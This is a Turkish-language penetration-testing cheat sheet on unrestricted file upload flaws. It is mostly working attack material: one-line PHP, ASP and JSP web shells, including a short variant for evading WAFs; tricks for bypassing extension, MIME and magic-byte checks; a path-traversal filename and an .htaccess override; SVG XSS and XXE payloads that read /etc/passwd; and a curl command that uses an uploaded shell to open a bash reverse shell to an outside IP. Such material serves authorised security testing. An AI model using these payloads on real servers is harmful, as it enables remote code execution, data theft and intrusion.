Dosya Yükleme Zafiyetleri
OWASP · Unrestricted File Upload impact: yüksek (RCE)
Yükleme özelliği, dosya türünü/içeriğini/kaydedildiği yeri yeterince denetlemezse, saldırgan çalıştırılabilir bir dosya (web shell) yükleyip sunucuda kod çalıştırabilir. Etki; web köküne yazma + yorumlayıcı (PHP/ASP/JSP) veya dosyanın başka bir zafiyetle (LFI) dahil edilmesiyle ortaya çıkar.
Basit web shell örnekleri
Section titled “Basit web shell örnekleri”<?php system($_GET['cmd']); ?><% Response.Write(CreateObject("WScript.Shell").Exec(Request("cmd")).StdOut.ReadAll()) %><% Runtime.getRuntime().exec(request.getParameter("cmd")); %>Minimal / kısa varyantlar WAF imza kaçışı için tercih edilir:
<?=`$_GET[c]`?>Kontrol atlatma teknikleri
Section titled “Kontrol atlatma teknikleri”-
Uzantı allow-list atlatma — alternatif çalıştırılabilir uzantılar: .phtml , .php5 , .php7 , .pht , .phar , .inc (Apache/PHP yapılandırmasına bağlı). Çift uzantı: shell.php.jpg , shell.php.png . Windows: shell.php. / shell.php (trailing dot/space). IIS: shell.asp;.jpg , shell.php::$DATA .
-
MIME / Content-Type manipülasyonu — Burp ile Content-Type ’ı image/png veya image/jpeg yap; içerik PHP kalsın. Sunucu sadece istemci başlığına güveniyorsa geçer.
-
Magic byte spoofing — dosyanın başına gerçek imza ekle: veya PNG/JPEG header + PHP. getimagesize() geçen ama include edilen senaryolarda polyglot işe yarar.
GIF89a;<?php system($_GET['cmd']); ?> -
Path traversal ile yerleştirme — multipart filename alanında: Dosyayı web köküne veya CGI dizinine yazmayı dene.
Content-Disposition: form-data; name="file"; filename="../../shell.php" -
.htaccess / web.config ile yorumlatma — Apache AllowOverride açıksa .htaccess yükle: IIS’te web.config ile handler eşlemesi (yazma izni varsa).
AddType application/x-httpd-php .jpg -
Case / null / Unicode — shell.PhP , shell.php%00.jpg (eski), NTFS alternate data stream, Unicode normalization farkları.
İstemci tarafı kontrolleri
Section titled “İstemci tarafı kontrolleri”HTML accept= ve JS doğrulaması güvenlik değildir — isteği proxy’den değiştirmek yeterlidir. Sunucu tarafında allow-list + içerik + rastgele ad
- yürütülemez dizin kombinasyonu gerekir (testte bunların hangisinin eksik olduğunu tek tek kır).
SVG / HTML / XXE yüzeyi
Section titled “SVG / HTML / XXE yüzeyi”<!-- SVG XSS (stored) --><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/><!-- SVG / XML XXE --><?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg>&xxe;</svg>Office Open XML (DOCX/XLSX) ve PDF upload’ları da XXE / SSRF tetikleyebilir.
PHAR deserialization
Section titled “PHAR deserialization”.phar veya polyglot phar dosyası yüklenip phar:// ile erişilirse PHP object injection tetiklenebilir — Insecure Deserialization ile zincirle.
Sömürü sonrası
Section titled “Sömürü sonrası”curl 'https://hedef/uploads/shell.php?cmd=id'curl 'https://hedef/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.5/443%200%3E%261%27'Yüklenen dosya çalışmıyorsa: LFI ile include et, veya yalnızca metadata/EXIF içinde saklanan XSS/payload’u başka kullanıcıya sun.